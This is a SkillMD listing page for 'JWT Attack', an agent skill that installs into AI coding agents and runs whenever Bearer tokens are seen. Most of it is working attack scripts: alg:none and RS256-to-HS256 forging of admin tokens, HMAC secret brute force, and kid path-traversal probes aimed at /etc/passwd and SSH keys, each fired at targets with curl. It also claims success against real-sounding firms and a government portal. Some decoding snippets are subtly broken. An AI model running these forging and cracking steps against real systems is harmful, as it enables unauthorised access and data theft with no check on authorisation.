How do I install the JWT Attack skill?

Run npx skillmds@latest add uphiago/jwt-attack in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

What does the JWT Attack skill do?

Decode, forge, brute JWTs when Bearer auth header is seen. It is listed under Coding & Dev Tools on SkillMD.

Is JWT Attack safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with JWT Attack?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is JWT Attack free to use?

Yes. Installing skills from SkillMD is free. This skill is licensed under MIT.

Who published JWT Attack?

uphiago (@uphiago) published this skill. Their other Agent Skills are listed on their SkillMD profile.

JWT Attack by uphiago — Agent Skill

Name: JWT Attack
Author: uphiago

JWT Attack Skill

Complete JWT attack methodology — decode without verification, algorithm confusion (alg:none, RS256→HS256), weak secret brute force (hashcat/john/simple), kid injection, expired token reuse, and hardcoded JWT extraction from JS bundles. Confirmed on enterprise-portal (JWT-based sessions), fintech-processor (315 JWT tokens in Efí bank logs), fitness-chain (3 JWT sessions with 2027 expiry), delivery-platform (hardcoded JWTs in JS bundles), and gov-finance-portal (JWT secret leaked in Vite source).

When to Use

API uses Authorization: Bearer eyJ... headers.
JavaScript bundles contain eyJ... token patterns.
After js-secrets-extraction finds JWT tokens.
After api-noauth-hunt needs token forging for auth bypass.
Cookies contain jwt=, token=, or session= with base64-encoded values.

Prerequisites

terminal with curl, python3.
JWT token to attack (from recon).
For brute force: hashcat or john for high-speed cracking (optional).

How to Run

# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" | python3 -c "
import sys, base64, json
parts = sys.stdin.read().strip().split('.')
if len(parts) == 3:
    for i, part in enumerate(parts[:2]):
        try:
            padded = part + '=' * (4 - len(part) % 4)
            decoded = base64.urlsafe_b64decode(padded)
            print(f'--- Part {i} ---')
            print(json.dumps(json.loads(decoded), indent=2))
        except: print(f'Part {i}: {part[:50]}... (non-JSON)')
"

# Test alg:none attack
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'admin':True,'sub':'admin'}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"

Quick Reference

Attack	Prerequisites	Impact	Difficulty
alg:none	Server accepts `alg: "none"`	Full admin access	Easy
RS256→HS256	JWT signed with RS256	Full admin access	Medium (need public key)
Weak HMAC secret	HS256 with weak secret	Full admin access	Medium (need to crack)
kid injection	Server trusts `kid` header	RCE/LFI	Hard
Expired token reuse	Server doesn't validate `exp`	Session persistence	Trivial
Hardcoded JWT	JWT found in JS/source	Whatever the JWT grants	Trivial

Procedure

Phase 1 — JWT Decode & Analysis

JWT="$1"

echo "[*] JWT analysis"

# Split and decode
HEADER=$(echo "$JWT" | cut -d. -f1)
PAYLOAD=$(echo "$JWT" | cut -d. -f2)
SIGNATURE=$(echo "$JWT" | cut -d. -f3)

echo "Header:"
echo "$HEADER" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
    d = json.loads(base64.urlsafe_b64decode(padded))
    print(json.dumps(d, indent=2))
except: print('  (not valid base64 JSON)')
"

echo "Payload:"
echo "$PAYLOAD" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
    d = json.loads(base64.urlsafe_b64decode(padded))
    for k, v in d.items():
        if k in ('exp', 'iat', 'nbf'):
            from datetime import datetime, timezone
            dt = datetime.fromtimestamp(v, tz=timezone.utc)
            print(f'  {k}: {v} ({dt})')
        else:
            print(f'  {k}: {v}')
except: print('  (not valid base64 JSON)')
"

# Check expiration
EXP=$(echo "$JWT" | cut -d. -f2 | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
d = json.loads(base64.urlsafe_b64decode(padded))
print(d.get('exp', 'no-expiry'))
" 2>/dev/null)

if [[ "$EXP" == "no-expiry" ]]; then
  echo "[!] Token has NO expiration — permanent access"
else
  NOW=$(date +%s)
  if [[ "$EXP" -gt "$NOW" ]]; then
    REMAINING=$((EXP - NOW))
    DAYS=$((REMAINING / 86400))
    echo "[+] Token valid for ${DAYS} more days (expires $(date -d @$EXP))"
  else
    echo "[-] Token EXPIRED $(date -d @$EXP)"
  fi
fi

Phase 2 — alg:none Attack

TARGET="$1"
ENDPOINT="$2"    # Authenticated endpoint to test
ORIGINAL_JWT="$3"  # Any valid JWT to extract claims from

echo "[*] alg:none attack"

# Extract payload from original JWT
PAYLOAD=$(echo "$ORIGINAL_JWT" | cut -d. -f2)

# Forge token with alg=none
FORGED_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.${PAYLOAD}."

echo "  Forged token: ${FORGED_TOKEN:0:80}..."

# Test
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
  -H "Authorization: Bearer $FORGED_TOKEN" \
  -o /dev/null -w "%{http_code}" 2>/dev/null)

if [[ "$RESP" == "200" ]]; then
  echo "  [CRITICAL] alg:none ACCEPTED — full admin access!"
else
  echo "  [-] alg:none rejected (HTTP $RESP)"
fi

Phase 3 — RS256→HS256 Key Confusion

TARGET="$1"
ENDPOINT="$2"
PUBLIC_KEY_FILE="$3"  # RSA public key (PEM), from /.well-known/jwks.json or source leak

echo "[*] RS256→HS256 key confusion attack"

# Convert public key to symmetric key (the attack: HS256 uses the PUBLIC key as HMAC secret)
JWT_TOOL=$(python3 -c "
import jwt, sys

# Read public key
with open('$PUBLIC_KEY_FILE') as f:
    pubkey = f.read()

# Forge admin token
payload = {'admin': True, 'sub': 'admin', 'iat': $(date +%s)}
try:
    forged = jwt.encode(payload, pubkey, algorithm='HS256')
    print(forged)
except Exception as e:
    print(f'Error: {e}', file=sys.stderr)
" 2>/dev/null)

if [[ -n "$JWT_TOOL" ]] && ! echo "$JWT_TOOL" | grep -q "Error"; then
  echo "  Forged token: ${JWT_TOOL:0:80}..."
  RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
    -H "Authorization: Bearer $JWT_TOOL" \
    -o /dev/null -w "%{http_code}" 2>/dev/null)
  [[ "$RESP" == "200" ]] && echo "  [CRITICAL] RS256→HS256 confusion ACCEPTED!"
else
  echo "  [-] Forging failed (check public key format)"
fi

Phase 4 — Weak HMAC Secret Brute Force

JWT="$1"
WORDLIST="${2:-/usr/share/wordlists/rockyou.txt}"

echo "[*] Quick HS256 secret brute force"

# Fast Python brute force (top 1000 passwords)
echo "$JWT" | python3 -c "
import sys, hmac, hashlib, base64, json

jwt = sys.stdin.read().strip()
header_b64, payload_b64, sig_b64 = jwt.split('.')
header = json.loads(base64.urlsafe_b64decode(header_b64 + '=='))

if header.get('alg') != 'HS256':
    print('[-] Not HS256 — algorithm is:', header.get('alg'))
    sys.exit(0)

# Top secrets to try
secrets = ['secret', 'jwt_secret', 'key', 'password', 'admin', 'changeme',
           'SuperSecret', 'mysecretkey', '123456', 'jwt', 'token',
           'app_secret', 'secret_key', 'auth_token', 'private_key']

for secret in secrets:
    sig = base64.urlsafe_b64encode(
        hmac.new(secret.encode(), f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
    ).rstrip(b'=').decode()
    if sig == sig_b64:
        print(f'[CRACKED] Secret: {secret}')
        break
else:
    print('[-] Not in top-15 list')

# Also try from wordlist (first 5000 lines)
try:
    with open('$WORDLIST', 'rb') as f:
        for i, line in enumerate(f):
            if i >= 5000: break
            secret = line.strip()
            sig = base64.urlsafe_b64encode(
                hmac.new(secret, f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
            ).rstrip(b'=').decode()
            if sig == sig_b64:
                print(f'[CRACKED from wordlist] Secret: {secret.decode()}')
                break
    else:
        print('[-] Not in first 5000 wordlist entries')
except FileNotFoundError:
    print('[-] Wordlist not found at $WORDLIST')
"

Phase 5 — Kid Injection (path traversal / SQLi)

TARGET="$1"
ENDPOINT="$2"

echo "[*] kid header injection test"

# Test path traversal in kid header
for KID in "../../../../etc/passwd" "../../.ssh/id_rsa" "file:///etc/passwd"; do
  FORGED_HEADER=$(echo -n "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"$KID\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
  FORGED_TOKEN="${FORGED_HEADER}.$(echo -n '{"test":1}' | base64 -w0 | tr '+/' '-_' | tr -d '=').dGVzdA"

  RESP=$(curl -sk --max-time 5 --connect-timeout 5 "$TARGET$ENDPOINT" \
    -H "Authorization: Bearer $FORGED_TOKEN" \
    -o /dev/null -w "%{http_code}" 2>/dev/null)

  [[ "$RESP" == "500" ]] && echo "  [POTENTIAL] kid=$KID → HTTP $RESP (server error — may indicate processing)"
  sleep 0.3
done

Pitfalls

alg:none is rare. Most JWT libraries reject it by default since 2017. But legacy apps exist.
RS256→HS256 requires the PUBLIC key. This is usually available at /.well-known/jwks.json or in JS bundles.
Brute force is slow in Python. Use hashcat -m 16500 for HS256 or john for production-speed cracking.
Laravel Passport uses jti validation. Even if you forge a valid JWT, Passport checks if the jti (JWT ID) exists in the database.
Auth0/Firebase use JWKS. The server fetches the public key from /.well-known/jwks.json — alg:none won't work because the server always verifies with the public key.

Verification

alg:none: The forged token MUST access a protected resource returning HTTP 200.
RS256→HS256: The forged token MUST pass server verification using the public key as HMAC secret.
HS256 brute force: The cracked secret MUST produce a valid signature for a modified payload.
Hardcoded JWT: The token MUST be tested against the API to confirm it still works.
Kid injection: Server MUST return a different error for injected kids vs invalid signature (indicates kid processing).

JWT Attack

File contents

JWT Attack Skill

When to Use

Prerequisites

How to Run

Quick Reference

Procedure

Phase 1 — JWT Decode & Analysis

Phase 2 — alg:none Attack

Phase 3 — RS256→HS256 Key Confusion

Phase 4 — Weak HMAC Secret Brute Force

Phase 5 — Kid Injection (path traversal / SQLi)

Pitfalls

Verification

Frequently asked questions

JWT Attack

File contents

JWT Attack Skill

When to Use

Prerequisites

How to Run

Quick Reference

Procedure

Phase 1 — JWT Decode & Analysis

Phase 2 — alg:none Attack

Phase 3 — RS256→HS256 Key Confusion

Phase 4 — Weak HMAC Secret Brute Force

Phase 5 — Kid Injection (path traversal / SQLi)

Pitfalls

Verification

Related skills

Frequently asked questions

How do I install the JWT Attack skill?

What does the JWT Attack skill do?

Is JWT Attack safe to use?

Which AI agents work with JWT Attack?

Is JWT Attack free to use?

Who published JWT Attack?